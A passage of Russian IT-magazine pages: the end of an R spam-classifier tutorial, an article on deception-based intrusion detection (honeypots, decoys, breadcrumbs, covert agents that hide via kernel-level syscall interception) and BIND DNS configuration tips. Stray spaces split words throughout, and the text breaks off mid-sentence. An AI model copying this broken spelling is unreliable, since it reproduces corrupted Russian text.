spam наш детек тор здесь видел вперв ые, ведь они не были включ ены в тре‐
ниро вочн ую выбор ку.
Тестируем детектор
Сна чала те три дейс твия, которые выпол няли на пред ыду щем участ ке кода
(для сравн ения спа ма и не‐спа ма), завер нем в прос теньк ую фун кцию spam‐
Classifier. Что она дела ет? Если письм о больш е похоже на спам, воз вра‐
щает един ицу, ина че ноль.
Те перь, что бы про тес тировать работу детект ора, заг ружае м пись ма из папок
с суфф иксом _verify. Ты же помн ишь, что изнач альн о мы подели ли письм а
на две част и: для трен иров ки детект ора (суфф икс _learn) и для его про верк и
(суфф икс _verify)?
Даль ше про гоня ем детект ор по пись мам всех трех категор ий. Про гоняе м так
же, как делали это рань ше. Единс твен ное отли чие: мы для прос тоты исполь‐
зуем функ цию spamClassifier, а не classifyEmail.
Зат ем готовим ито говый срез данн ых, по котором у будет видн о, как детект ор
отра ботал. Мы это уже делали чуть выше.
Пос мотри, что получил ось в итог е: head(classDF).
Суд я по пер вым шест и строч кам табл ицы, детект ор справ ляет ся со свое й
работой хорошо, но для более объе ктивной кар тины давай под счи таем лож‐
нополо житель ные и лож ноот рицательн ые сра баты вания — сум марно по всем
письм ам.
Что мы здесь дела ем? Соз даем мат рицу из трех строк и двух стол бцов. Стро‐
ки — это факт ичес кая категор ия пись ма (spam, easy_nonspam,
hard_nonspam), а стол бцы — катего рия, которую опред елил наш детект ор.
В идеа ле, у нас дол жно получитьс я [1, 1, 0] в пер вом стол бце и [0, 0, 1]
во вто ром. А вот как у нас получил ось на самом деле.
Из табл ицы вид но, что наш клас сификат ор работае т хоть и не иде альн о,
но впол не хорошо.
РИСУЕМ РЕЗУЛЬТАТ НА ГРАФИКЕ
Что мы здесь дела ем? Отра жаем на гра фике, как силь но (в проц ент ах) пись‐
мо похоже на спам (ось OX) и на не‐спам (ось OY). При чем выводим дан ные
в логариф мичес ком мас шта бе. Зачем такое ухищ рение? Потому что разб рос
знач ений, которые мы наносим на граф ик, очень боль шой. Поэтом у
без логариф мичес кого прео браз ова ния результ ат получил ся бы менее наг‐
лядным.
Гра фик, сох раненн ый в форм ате PDF, ты найд ешь в свое й рабочей папк е,
в под катало ге images.
В иде але, весь спам дол жен ока зать ся выше диаго нальн ой линии,
а не‐спам — ниже. Как видишь из рисунк а, наш резуль тат хоть и выг лядит
весь ма неп лохо, но все‐таки не иде ален.
Анал изи руя граф ик, мы можем извлечь некотор ое интуи тивн ое пред став‐
ление о слаб ых мест ах свое го детек тора. Мы видим, что некото рые письм а
при жаты к оси OX. У них знач ение Prob(SPAM) равн яет ся нулю. Дру гие при‐
жаты к OY — у них знач ение Prob(SPAM) рав няет ся нулю. А некото рые пись ма
вооб ще при жаты к точ ке ноль.
Все эти наб людения ука зываю т на то, что мы подг отовил и не очень удачн ый
набор тре ниро воч ных дан ных для не‐спа ма. Потому что, гля дя на результ ат
обраб от ки про вероч ных писем, мы видим: есть нам ного больш е терм ов,
которые было бы непл охо задей ство вать в качес тве инди катор ов не‐спа ма,
чем тот набор, который мы факт ичес ки исполь зуем.
Оно и понят но. Ведь мы конс труи ро вали упро щенн ый детект ор спа ма.
Само собой, его мож но разв ивать и совер шенс твов ать. Что я и предл агаю
тебе сде лать в качест ве домаш него задания. Если дерз нешь, обя затель но
поделись в комм ента риях к статье сво ими успех ами на этом поп рище.
WWW
•Исх одный код к статье
АДМИН
ТЕХНОЛОГИЯ
ОБМАНА
Вячеслав Круглов Борис Королев
Golang‐разработчик в
области информационной
безопасности. Окончил МГТУ
им. Баумана в 2020 г. и
Технопарк от mail.ru в 2018 г.
[email protected]
ЧТО ТАКОЕ DECEPTION И КАК ТЕПЕРЬ
ОБМАНЫВАЮТ ХАКЕРОВ
Ты навер няка слыш ал про ханипо ты — цели‐прим ан ки,
по атак ам на которые вычисл яют хакеров. В посл едние годы
эта техн ология проа пгрейд илась и теперь носит общее наз‐
вание Deception. О том, в чем отлич ия и как хакеров пыта‐
ются водить за нос, мы и погово рим.
Сло во deception перево дит ся с английс ког о как обман. Это назв ание очень
точ но отра жает суть решения — ведь что бы пой мать ата кующег о, ловушк и
дол жны быть неот личимы от наст оящих серв исов.
Се годн я эта техн ология пред став лена в основном зарубежн ыми — аме‐
риканс ким и и израи льс ки ми — вен дорами. Сре ди них самые извес тные —
TrapX, Illusive Networks, Fidelis, Cymmetria MazeRunner, Canary. С рос сийс ки ми
про изво дител ями пока не очень. У нас есть Honeypot Manager «Кода
безопас ности», выпущенн ый в 2009 году, — уже не прос то ханипот, но еще
и не пол ноценн ый Deception. Есть пара свеж их полн оценн ых решений — Bas‐
tion Security Platform, которую дела ем мы с моими кол легами в «Баст ионе»,
и Xello. Так же мож но най ти неск оль ко опен сор сных прог рамм.
Собст венн о, с позиции разр абот чика я и план ирую рас сказ ать о том, что
такое Deception и чем он интер есен. Но снач ала поговор им о пред тече этой
тех нологии — ханипо тах.
ГОРШКИ С МЕДОМ
Honeypot («гор шочек с медом») можн о счит ать пер вой инкарнац ией тех‐
нологии Deception, а появи лись они еще в конц е вось мидесят ых — начале
девяност ых годов. Ханипот — это сетевой объ ект, единст венн ая цель которо‐
го — привл екать зло умыш ленни ка и быть атак ованн ым.
Ха нипот не несет иной ценн ости в сети, в которой устан овл ен; с ним
не ведет ся никаких легитимн ых сетевых взаи мо дейс твий. Ког да ханипот ата‐
куют, он фик сиру ет это и сох раня ет все дей ствия ата кующе го. В даль нейшем
эти дан ные помогаю т анал изир овать путь зло умышл енник а.
По бочн ая цель ханипо та — задер жать продв ижение атак ующег о по сети,
заст авив его пот ратить вре мя на изуч ение ложн ого ресурс а.
Хан ипот может быть пол ноценн ой опер аци онной сис темой, которая эму‐
лиру ет рабочее мест о сот рудни ка или серв ер, либо отдель ным серв исом.
Од нако сам по себе ханипот имее т ряд недос татков:
• нужн о отдель но наст раи вать кажд ый лож ный серв ер;
• хан ипо ты не вза имо дей ствую т меж ду собой и с элем ен тами наст оящей
инфраструкт уры. Они не оставляю т сле дов, хакеру их трудн о обна ружить;
• хан ипо ты, как пра вило, не объе ди нены в цен трал изов ан ную сист ему.
На смен у этой техн ологии пос тепенн о приш ла друг ая, более прод винутая
и умная, — Deception.
СУТЬ ТЕХНОЛОГИИ ОБМАНА
Deception отно сит ся к решения м клас са Intrusion Detection System (IDS) —
сист емам обна ружен ия вторж ений. Основная цель такой сист емы — выяв лять
попыт ки нежелат ельн ого дос тупа к сети. Ины ми слов ами, Deception помога ет
обнар ужив ать сетевые ата ки.
В чем отли чие Deception от ханипот ов? Ханипот — это отдельн ый сетевой
ресурс, который ни с кем не вза имо дей ствуе т, а тольк о ждет атак ующе го, что‐
бы записать его дейс твия. Deception же — это цен трал изо ванн ая сист ема
управлен ия лож ными сетевым и объе ктам и, которые при нято называть ловуш‐
ками (decoys). Кажд ая ловушк а пред став ляет собой, по сути, отдель ный
ханипот, одна ко все они свя заны с цен тральн ым серв ером.
Так ие решения обыч но име ют удоб ный интерфейс для управлен ия ловуш‐
ками. Опе ратор может созд авать ловуш ки с желае мым набором эму лируе мых
сетевых серв исов, в выбр анной подс ети, с нуж ным спос обом получе ния IP‐
адре са и так далее.
Ло вушк и и эму лируе мые на них сер висы подд ержи вают пос тоян ное
соеди нение с сер вером. Так же как и ханипот ы, ловуш ки в Deception не пре‐
дусм атрив ают легитимн ого сетевог о вза имо дей ствия (за исключ ени ем вза‐
имо дей ствия с дру гими ком понент ами Deception).
Ло вушк а будет сообщ ать на серв ер о любой попыт ке вза имо дейс твия
с ней: это слу жит инди като ром ата ки. При этом опе ратор может момен тальн о
получить уве дом ление о прои зош едш ем событии. В нем будут ука заны
детали про изо шед шего: адрес и порт источни ка и цели, про токол вза имо дей‐
ствия, вре мя сраб атыв ания и так далее.
До пол нитель ные модули в сост аве Deception так же могут пред ос тавлять
возм ожность руч ного или авто матиз иров анн ого реаги рова ния на инци ден ты.
В понятие Deception могут вход ить и друг ие вещи. Некотор ые комп онент ы
помогаю т упростить нас тройк и и автом ати зацию разв ерты вания, друг ие
дела ют ловуш ки больш е похожи ми на нас тоящие сетевые серв исы,
еще одни — привл екаю т вним ание хакеров к ложн ым целям.
Нек ото рые ком понент ы могут решать смеж ные задачи — напр имер,
реагир овать на инци ден ты, собирать инди катор ы ком про мета ции с рабочих
стан ций и искать на них уяз вимое ПО.
АГЕНТЫ
Агент — это прог рамма, которая уста навл ивае тся на реаль ные рабочие стан‐
ции польз овател ей или сер веры. Она уме ет общатьс я с серв ером Deception,
исполнять его команд ы или переда вать в центр управлен ия полез ные дан ные.
Сре ди решений клас са Deception есть как про дукт ы, в сос тав которых вхо‐
дит агент, так и те, которые обхо дят ся без него.
В задачи аген та может вход ить:
• сбор данн ых о сост оянии рабочих станц ий;
• расп ростра нение прим анок;
• эму ляция активнос ти в сети;
• ре аги рован ие на инцид ент ы (руч ное или автом ати зиров ан ное);
• сбор данн ых для форен зики;
• что‐то еще — в меру пот ребнос тей кли ентов и фант азии раз работ чика.
Де ятель ность аген та есть смысл сде лать скры той от человек а, который
работае т за компью те ром. Зачем? Во‐пер вых, польз ователь может намерен‐
но или случ айн о уда лить агент или его сос тавля ющие.
Во‐вто рых, наличие неизв ест ног о (или извест но го до опред еленн ой сте‐
пени — если польз ователь об этом пред упр ежден) ПО на рабочей станц ии
может выз вать ощу щение дис комфор та.
В‐третьи х, все, что видит польз ователь, уви дит и ата кующий, получив ший
дос туп к это му компью тер у. А ведь мы не хотим рас крыть свои кар ты
перед ата кующим, прав да?
По это му агент ские решения в сост аве Deception след ует делать таким
обра зом, что бы поль зователь не видел ни агент а, ни след ов его жизн еде‐
ятель ност и (или хотя бы стар атьс я свес ти это к миниму му).
По это му агент ы обычн о работа ют в прив илег иров ан ном режиме, в виде
драй вера для Windows либо модуля ядра в случ ае с Linux. Это позв оляе т, нап‐
ример, перех ватывать сист емные вызовы для обес печения скрыт ности, а так‐
же не дает польз овате лю удал ять агент или мешать ему работать.
ПРИЕМЫ МИМИКРИИ
За дачи Deception как техн ологии — убе дить ата кующе го в том, что все ловуш‐
ки и вза имо дейс твия меж ду ними реальн ы, ценн ы и использ уют ся, а такж е
сде лать лож ные цели привл екательн ыми для атак и. В совр еменн ых сис темах
есть ряд ком понен тов, которые отве чают за эти цели.
Приманки
Что бы атак ующий с больш ей вероя тностью нат кнулс я на ловуш ку, можн о его
к это му под тол кнуть. Как? Для это го в Deception исполь зуют ся при манк и,
или «хлебн ые крошк и».
При ман ка — это объе кт, который разм ещае тся на реаль ной рабочей стан‐
ции, скрыт но или не очень. При ман ка выгл ядит как что‐то обычн ое и прив‐
лекательн ое для атак ующе го («слу чайн о» забытый файл с паролем, сохр анен‐
ная сес сия, закл адка в бра узер е, запись в реес тре, прим он тированн ая шара
и подоб ное). Прим ан ка содер жит ссыл ку и дан ные для дост упа на ложн ый
сетевой ресурс.
Зло умышл енник, обнар ужив такую ссыл ку и автор изац ионн ые данн ые,
конечн о же, захочет про верить, что это за серв ис. Он заходит на ловуш ку,
и тут сра баты вает сиг нализац ия об инци дент е.
Ви ды и спо собы раз мещения прим ан ки зависят от типа ловуш ки, на которую
при ман ка ведет.
Прим ан ки могут рас простра нять ся неск ольк ими спос обам и. Если в сос‐
таве Deception при сутс твую т агент ы, задача разб ра сыва ния при манок воз‐
лага ется на них. В этом случ ае про цесс мож но лег ко автом атиз иров ать: сер‐
вер управлен ия посылае т команд у на агент, и тот выполн яет необх одимые
дейс твия для уста нов ки прим анк и.
Ес ли аген тов нет, Deception‐решение может пред лагать готовые скрип ты,
которые необх одимо будет выпол нить на рабочих станц иях вручн ую. Этот
подх од облад ает оче вид ными недос татка ми: напр имер, при перенас трой ке
ловушек нет возм ожност и авто матич ес ки обнов ить при ман ки на рабочих
стан циях, тог да как аген ты поз воля ют это сдел ать.
Сле дует, наск ольк о это воз можно, огран ичить вза имод ей ствие нас тоящих
польз овател ей ПК с при ман ками. Однак о слишк ом силь но скры вать ложн ые
цели тоже нель зя. Если злоу мыш ленник не смо жет их най ти, для чего они
вообщ е нужн ы?
И конечн о, при ман ки дол жны быть правд оподобн ыми. Если мы пост авим
при манк у в виде SSH на компью тер бух галте ра, это может вызв ать подоз‐
рения атак ующег о.
Зач аст ую прим анк а содер жит авто риза цион ные данн ые для дост упа
к ловуш ке — логин и пароль или ключ. Но как пра виль но их сос тавить, что бы
они выгл ядели прав доподоб но? Тут и появ ляет ся мысль вес ти внут ри Decep‐
tion базу фейк овых поль зовател ей.
Ложные пользователи
Итак, мы хотим подс тав лять в прим анк е данн ые для автор изац ии, макс ималь‐
но похожие на нас тоящие. При этом в каж дой орга низа ции дан ные поль‐
зовате лей выгл ядят по‐разн ому. У всех разн ые фор маты логина (напр имер,
час то встреч ают ся логины вида «пер вая букв а име ни — точк а — фамилия»
латиниц ей). У всех раз ные пароль ные полити ки. Для некотор ых прим анок
могут понадо битьс я поч товый адрес, адрес домена, что‐то еще. Как быть?
Зад ачу можн о решить, ведя базу лож ных поль зовате лей сети. Есть разн ые
под ходы к ведению такой базы.
Нап ример, Deception мож но интегри ровать с сист емой ана лиза тра фика.
Это дает возм ожность расп ознав ать в сетевом траф ике наличие дан ных
для авто ризац ии, находить в них общие черт ы и генери ровать польз овате лей,
похожих на наст оящих, по выяв ленным прав илам.
Есл и такой интеграц ии нет, хорошим решение м выг лядит генерац ия поль‐
зовател ей по заданн ым вручн ую прав илам. Сред и таких прав ил может быть
выбор опре делен ного сло варя имен, задание шабл она для логина, задание
пра вил генерац ии пароля (наличие спецс имво лов, минимальн ая длин а,
генера ция запоми нающихс я паролей, выбор паролей из слов аря и так
далее), задание адре са домена, поч тового серв ера.
Та кой под ход может приг одить ся, если комп ания с помощью Deception
защища ет филиа лы, расп оложенн ые в раз ных стра нах. Тог да, скаж ем,
для росс ий ско го филиа ла у лож ных польз овате лей могут быть имен а из рус‐
ско го сло варя, а для китай ског о — из китайс ко го.
Ког да сформ ирован а база лож ных польз овател ей, Deception может
исполь зовать ее при созд ании прим анок. Для больш ей реалист ичнос ти мож‐
но делать связ ку межд у агент ом и ложн ым поль зовател ем так, что бы все при‐
ман ки, разм ещенн ые на этом аген те, были от име ни одно го человек а.
Эмуляция сетевого взаимодействия
Ес ли трад ицио нные ханипот ы сущест вую т сами по себе, ни с чем не взаи мо‐
дейс твую т и не оставляю т след ов в сети, то техн ология Deception нап равле на
в том числ е на то, что бы подт ол кнуть зло умыш ленник а к вза имо дей ствию
с ловуш кой.
Для это го атак ующем у надо под ска зать, где искать ловушк у, и зас тавить
его подумать, что это реальн ый серв ис. Пред ставь, что ты нашел в сети некий
сер вис, и результ ат пасс ивног о снифф инга показыв ает, что с ним никт о
и никог да не вза имо дейс твуе т. Подозр итель но? Да!
По это му одна из фишек Deception — это возм ожность активно эму лиро‐
вать сетевое взаи мо дей ствие. Взаи мод ейс твов ать могут любые точк и в рам‐
ках сис темы: ловушк и с ловушк ами, агент ы с ловуш ками. Реали зация зависит
от конк рет ного решения и может вклю чать как взаи мо дейс твие прост ыми
пакетам и TCP/UDP, так и передач у дан ных по какому‐то высоко уров невому
про токо лу.
Кон кре тика будет зависеть от типа ловушк и. К при меру, можн о научить
аген та с некой перио дич ностью ходить в ловушк у, которая эму лиру ет SSH,
про ходить на ней авто риза цию и даже выпол нять какие‐нибудь команд ы.
Важн ая деталь: выше я говорил, что ловушк а опов ещае т о любых попыт ках
под клю чить ся к ней и передае т уве домл ение об этом на серв ер. И о под клю‐
чени ях в рам ках эмул яции тоже! В сер вер Deception дол жен быть встрое н
механизм, который суме ет отлич ить нас тоящие события безопасн ости.
Эму ляция, кстат и, в какой‐то мере пересек ает ся с идее й прим анок. Есть
сетевые про токо лы, которые под разуме вают переда чу авто риза цион ных дан‐
ных в откры том виде (напр имер, FTP). Эмул яция под клю чения по FTP будет
работать так же, как и при ман ка: мы скар мли ваем ата кующе му, который прос‐
лушива ет траф ик, логин и пароль для дос тупа к ловушк е.
Исп ольз овать эту фун кци ональн ость сле дует с остор ож ностью. Хакер
может заподозр ить что‐то нелад ное, анал изи руя траф ик: напр имер, что все
зап росы один ако вые, прои сход ят слишк ом час то, имею т нетипич ную дли ну
или дру гие парамет ры. При разр абот ке и при нас трой ке сист ем Deception
тре бует ся учит ывать эти нюанс ы: ввод ить ранд омиза цию или дру гие спо собы
мас кировк и.
ДОПОЛНИТЕЛЬНЫЕ КОМПОНЕНТЫ
Как я уже говорил, в Deception могут быть вклю чены самые раз ные эле мен ты.
Я под робно остан ов люсь на двух наибо лее актуа льн ых — автом ати чес ком
разв ерты вании и сбо ре данн ых с рабочих станц ий.
Автоматическое развертывание
Одн а из потен циаль ных проб лем Deception — это труд оем кость пер вичной
нас тройк и. Без авто матич ес кого деп лоя при устан овк е Deception в сеть
приш лось бы вручн ую опре делять спис ок ловушек и эмул иру емых сер висов,
пра вильн о их наст раи вать и для кажд ой ловушк и созд авать и разм ещать при‐
ман ки. Огромная работа!
При этом нель зя взять и сде лать типовое решение, чтоб ы ста вить его каж‐
дому клие нту. В каж дой орга низац ии свой набор сетевых ресур сов, которые
име ет смысл разм ещать в виде ловушек. Если сеть комп ании небольш ая, то
справ ит ся один спец иалист, но что, если Deception став ит себе боль шая ком‐
пания? У нее может быть мно жес тво подс етей, которые нуж дают ся в устан ов‐
ке ловушек. В кажд ой под сети может быть свой набор типич ных ресур сов. Так
что мысль авто матиз иро вать раз вертыв ание нап рашива ется сама собой.
Реа ли заций мож но при думать нес кольк о. К прим еру, если Deception
интегри рован с сист емой анал иза тра фика (как в при мере с лож ными поль‐
зовател ями), сист ема смож ет получать данн ые о том, по каким про токол ам
идет вза имо дей ствие в кажд ой отдельн ой под сети. На основ е этой информа‐
ции Deception может автом атич еск и уста нав ливать нужн ые виды ловушек
в нуж ном количес тве и даже сама обновлять ложн ый слой сети при добав‐
лении новых реальн ых ресур сов.
Ес ли же такой интегра ции нет, проб лему можн о решить инач е. Серв ер De‐
ception выпол няет активное ска ниро вание сети, получая дан ные об открыт ых
порт ах на реальн ых машинах, или пасс ивное просл ушива ние траф ика там,
где это воз можно. Соб ранную информа цию Deception будет использ овать
для авто матич еск ой устан овк и ловушек.
Трет ий спо соб еще прощ е, но не избавля ет пол ностью от необх одимост и
руч ной работы. Мож но пред ос тавить опер ато ру не ручн ое соз дание и нас‐
трой ку отдельн ых ловушек, а спос об выбора предп очти тель ного спис ка
сетевых серв исов и предп олагае мог о количест ва ловушек. Тогд а устан овк а
и нас тройк а будет выпол нена авто мати ческ и по шабл ону.
Сбор данных с рабочих станций
Deception может быть не тольк о средс твом обна руже ния атак. Наличие аген‐
тов позв оляе т сист еме брать на себя и дру гие задачи. Одна из них — сбор
агент ом дан ных об уста новл енном на компь юте рах ПО, вклю чая верс ию
и дату устан ов ки. Резуль таты мож но срав нивать с базами CVE и вовр емя пре‐
дуп реждать о том, что в использ уемой верс ии прог раммы есть серье зная
уязв имость.
С друг ой сто роны, агент может собирать данн ые для форенз ики (расс ле‐
дован ия инци дент ов). Когд а ловуш ка обна ружи вает атак у, источник
которой — рабочая станц ия с аген том, Deception может сопос тавить дан ные
от ловуш ки (врем я, порт источник а соеди нения) с информац ией, которой
обла дает агент. Таким образ ом можн о получить полез ные свед ения об ата ке:
какой про цесс ее запус тил, как он про ник на компь ютер и так далее.
Такж е агент может собирать раз ные индик атор ы ком про метац ии
на рабочей стан ции сот рудник а. Это позв олило бы получать уве дом ления
даже до того, как ата кующий перейд ет к активным дей стви ям в сети.
ЗАКЛЮЧЕНИЕ
Deception сравн итель но новая тех нология, и решения это го класс а появил ись
на рынк е не так давн о, однак о она пос тепенн о заво евы вает популярн ость.
Deception не заменяе т стан дарт ные общепри нятые сис темы информа цион‐
ной безопасн ости, но допол няет сис темы защиты, позв оляя обна ружить ата‐
ки, обо шед шие все про чие средст ва.
Од нако это очень гибк ая сист ема, и благ одар я интегра ции с друг ими
средс твам и ИБ она обес печива ет широкие возм ожност и обна руже ния атак.
В Deception мож но встро ить раз ные механизм ы инвентар изац ии сетевых
актив ов, реагир ован ие на инцид ен ты и про чее. Эффективн ость этой сис темы
зависит от того, как ее разр аботать и нас тро ить. Если все сде лать пра виль но,
зло умышл енник не догада ется, что перед ним ненас тоящая цель. А даже если
смо жет — для него будет уже позд но.
Deception прост ит какие‐то ошиб ки в нас трой ке: даже при наличии кос‐
венных призн аков, по которым атак ующий смож ет отлич ить ловушк у, сист ема
остае тся дос таточн о эффектив ной. Но забывать о пра виль ной нас трой ке
не сто ит!
Есл и ты сомн евае шьс я, нужн а ли тво ей ком пании такая тех нология,
можешь уста новить пробн ую верс ию любого из решений (в том чис ле наше!).
Если же ты выст упа ешь на стор оне пен тесте ров и ред тимеров, то наде юсь, ты
оцен ил наши уси лия в усложне нии твое й жизн и! :)
АДМИН
ХИТРОСТИ
BIND
БЕРЕМ КОНТРОЛЬ
НАД DNS
В СВОИ РУКИ
Даниил Батурин
Координатор проекта VyOS
(https://vyos.io), «языковед»,
функциональщик, иногда
сетевой администратор
[email protected]
BIND был и остае тся одной из самых популярн ых реализ аций
серв ера DNS. Долг ое вре мя он был факт ическ им стан‐
дартом и для ответст венн ых (authoritative), и для кэширу ющих
сер веров. Более того, до двух тысячн ых годов все до един ого
кор невые серв ера работал и имен но на нем. В этой статье
мы рас смот рим ряд не слиш ком извес тных, но полезн ых воз‐
можнос тей BIND.
То десяти летие с середи ны девянос тых по середин у двухт ысячн ых вообщ е
было врем енем факт ичес ких монопол ий. Веб‐сер вер — Apache HTTPD, поч‐
товый сер вер — Sendmail, ну а серв ер DNS — BIND. С тех пор появил ось
мно жес тво аль тер натив. Нап ример, часть корн евых сер веров перешл и
на NSD.
Од нако аль терн ативы ста рым про ектам час то идут по пути спе циализ ации.
NSD не кэширу ет зап росы и предн азна чен тольк о для держ ателей доменов —
он иде альн о подх одит для кор невых серв еров, но совер шенно не подойд ет
для кор поративн ого или пров айд ер ског о сер вера. Прое кт PowerDNS сост оит
из двух независ имых част ей: ответс твен ный pdns и кэширую щий pdns_recur‐
sor. Про ект dnsmasq — чис то кэширую щий серв ер для малых сетей со встро‐
енной реали зацие й DHCP.
В то же вре мя BIND унив ерс ален. Возм ожно, это и позв оля ет ему оста‐
вать ся популяр ным. Он может и отве чать за зоны, и кэширов ать зап росы,
и хра нить записи в реляци онных БД. Это, может, и не луч ший про ект для каж‐
дой из задач в отдельн ост и, но зато он реша ет их все одновре менн о с весьм а
неп лохой про изво дительн остью. Таким спо собом не слиш ком больш ие ком‐
пании и сети учебн ых и испы татель ных лаборат орий вполн е могут обой тись
одним сер вером DNS.
ПРОВЕРЯЕМ СИНТАКСИС НАСТРОЕК
При работе с сер верами вручн ую мног ие люди прав ят файл нас тро ек,
перезап ус кают сер вис и бегут чинить, если он не запус тился. И соверш енно
зря, потому что у мно гих прое ктов есть опции демона или отдельн ые утил иты
для про верк и син такси са! В их числ е и BIND.
Ути литы named‐checkconf и named‐checkzone весьм а полезн ы как при
ручн ой нас трой ке, так и при написа нии скрип тов. Будем чес тны ми — грам‐
матика файл ов BIND не всегд а инту итивн а. С помощью этих ути лит мож но
получить более‐менее внят ные сообщ ения об ошиб ках без перезап ус ка сер‐
виса.
$ named‐checkconf /tmp/new‐named.conf || echo "Bad file"
/etc/named.conf:66: missing ';' before '}'
Bad file
$ named‐checkzone example.com /var/named/data/example.com
zone example.com/IN: NS 'ns1.example.com' has no address records (A
or AAAA)
zone example.com/IN: not loaded due to errors.
УСКОРЯЕМ ЗАГРУЗКУ ЗОН
Тек сто вый форм ат зон BIND стал фак тическ им стан дартом, и его под держи‐
вают мно гие дру гие реализ ации, прежд е всег о чтоб ы упростить перенос
сущес твую щих зон. Некото рые регист рат оры даже позв оля ют редак тировать
и вно сить записи в этом форм ате через веб‐интерфейс. Фор мат www IN A
192.0.2.1 видели даже далекие от DNS люди.
INFO
Клю чевое слов о IN — это не пред лог in, а сок‐
ращение от Internet. Прот окол DNS и BIND появи‐
лись до того, как иссле дова тель ские сети объ‐
един ились в еди ный Интернет, поэтом у в DNS
до сих пор форм альн о сущес тву ют класс ы
записей IN (Internet) и CH (ChaosNet).
Одн ако этот фор мат не слиш ком прост для син такси чес кого раз бора — и заг‐
рузка зон с больш им чис лом записей может ощут имо замед лить запуск
демона. Регис трат оры доменов и хос теры неред ко хра нят записи в базе дан‐
ных, что и быст рее, и про ще в управле нии из админки.
Но если пробл ема толь ко в прои звод итель нос ти, есть и более прос той
спо соб: исполь зовать дво ичные форм аты фай лов.
Конв ертир овать зону в двои чный фор мат мож но команд ой named‐com‐
pilezone. Форм ата два: map и raw. Фор мат map пред став ляет собой прос той
дамп памяти. Он загр ужа ется быс трее всег о, поск ольк у вообщ е не тре бует
разб ора, но не явля ется перенос имым — работа ет толь ко в пред елах одной
архит ект уры. Форм ат raw загр ужае тся чуть мед леннее, но работа ет на любой
машине.
Рас смот рим прим ер для форм ата map. Снач ала нуж но скомп илиро вать
в него тек сто вый файл зоны.
$ sudo named‐compilezone ‐Fmap ‐o /var/named/data/example.com.map
example.com /var/named/data/example.com
Зат ем нужн о соот ветст ву ющим образ ом попр авить опи сание зоны в /etc/
named.conf. Форм ат файл а с дан ными зоны не опре деляе тся авто матич еск и,
поэто му нам при дет ся ука зать опцию masterfile‐format.
zone "example.com" {
type master;
masterfile‐format map;
file "/var/named/data/example.com.map";
};
Ощу тимая раз ница замет на толь ко на очень больш их фай лах. Но если ты ока‐
жешь ся в такой ситу ации, теперь ты знае шь, как из нее выйт и.
ГЕНЕРИРУЕМ ЗАПИСИ ДЛЯ ДИАПАЗОНОВ АДРЕСОВ
Част о в ответ ах на обратные запр осы мож но увид еть адре са врод е 192.0.2.
10.customers.example.com. Такие записи удоб ны для адми нов дру гих
сетей — из вывода traceroute или tcpdump сраз у понят но, какой комп ании
прин ад лежит адрес.
Как они дела ются? Можн о сген ерир овать их скрипт ом и записать в файл
зоны, но в BIND для этой цели есть встро енный механизм — директ ива $GEN‐
ERATE.
Для при мера сген ерир уем записи вида 192.0.2.X.users.example.com
для диапа зона адрес ов 192.0.2.1–100.
Снач ала добавим обратную зону для сети 192.0.2.0/24 в /etc/named.
conf.
zone "2.0.192.in‐addr.arpa" {
type master;
file "/var/named/data/2.0.192.in‐addr.arpa";
};
Зат ем соз дадим файл зоны.
$TTL 86400
@ IN SOA localhost. root.localhost. (
2020071001 ; serial
28800 ; refresh
14400 ; retry
3600000 ; expire
86400 ; default TTL
)
2.0.192.in‐addr.arpa. IN NS ns1.example.com.
200 IN PTR jrandomhacker.users.example.com.
$GENERATE 1‐100 $ PTR 192.0.2.$.users.example.com.
Прим еним изме нения коман дой rndc reload или переза пус ком серв иса.
Для начала убед имс я, что зона работа ет, и запр осим PTR к нас тро енно му
вруч ную 192.0.2.200.
$ host 192.0.2.200 localhost
200.2.0.192.in‐addr.arpa domain name pointer jrandomhacker.users.ex‐
ample.com.
Те перь про верим адрес, для которо го нет явной записи.
$ host 192.0.2.76 localhost
76.2.0.192.in‐addr.arpa domain name pointer 192.0.2.76.users.exam‐
ple.com.
Как видим, все работа ет как ожид алось.
Раз берем директ иву на час ти. Перв ый аргу мент (1‐100) — это диапаз он
знач ений счет чика. Симв ол $ при генерац ии записей заменя ется на текущее
зна чение счет чика. В нашем слу чае BIND сген ери рует 99 пра вил от $=1
до $=100.
Вто рой аргу мент — имя записи. Для записей типа PTR это номер хост а
в сети, и он совп ада ет со счет чиком, потому и прост о $. Тре тий аргум ент —
тип записи. Наконец, посл едний аргум ент — ее зна чение.
Увы, в BIND нет спо соба исклю чить из автом атич ес кой генерац ии адрес а,
для которых уже есть явные записи, так что для клие нтов со ста тичес кими
адре сами нужн о либо выделить отдельн ый диапа зон, либо смир ить ся с двум я
запися ми для одно го адре са — явной и автом атич ес ки сген ери рованн ой
(что, впро чем, не прин есет никаког о вред а).
Ди рек тива $GENERATE обра батыв ает ся при загр узке зоны и генерир ует
все записи в памяти. Таким образ ом, с ее помощью мож но сэконо мить вре мя
адми на и числ о строк в файл е зоны, но тре бован ия к памяти остан ут ся теми
же.
Авт оматич ес ки сген ери рованн ые записи обыч но ассоц иируют ся
с обратным и зонами, но не огра ничи вают ся ими.
Предп оложим, у тебя есть пять веб‐серв еров с адре сами 203.0.113.10–
15. Ты хочешь соз дать для них записи вида www[1‐5].example.com.
Это впол не мож но сде лать автом ати чес ки. Добавь вот такую запись в файл
зоны example.com:
$GENERATE 1‐5 www$ A 203.0.113.${10,0,d}
Здесь 10 это кон стан та, которая добавл яет ся к знач ению счет чика, 0 — числ о
ведущих нулей в знач ении (мы генери руем IP‐адрес и допол нение нулями
нам не нужн о), d — десятич ный фор мат вывода.
SPLIT DNS
Пред ставь себе сле дующую рас простра нен ную ситу ацию. Есть сеть,
положим 10.0.0.0/24, в ней — веб‐сер вер 10.0.0.100 и рабочая стан‐
ция 10.0.0.200. Есть мар шрут иза тор с внеш ним адрес ом 203.0.113.1. Пор‐
ты 80/443 пробр ошены внутрь на 10.0.0.100.
Ес ли соз дать запись врод е www.example.com. IN A 203.0.113.1, то
зап росы из внешн их сетей на https://www.example.com будут отлично
работать. Увы, без допол нитель ных меропр иятий не будут работать зап росы
на этот адрес из внут ренней сети.
Чащ е все го эту пробл ему решаю т с помощью так называе мог о hairpin NAT.
Об этом я уже когд а‐то писал. Решение с hairpin — при емлем ое, но не иде‐
аль ное. Траф ик с этом слу чае идет через мар шру тиза тор, даже если оба хос‐
та находят ся в одном сег менте каналь ного уров ня и могл и бы общать ся нап‐
рямую.
По пуляр ность решения с hairpin объ ясним а. Мног ие сети вообщ е не име‐
ют сво их сер веров DNS, в этом случ ае дру гих решений и нет. Даже если свои
серв ера есть, прав ило для hairpin сетевой админ ис трат ор может нас тро ить
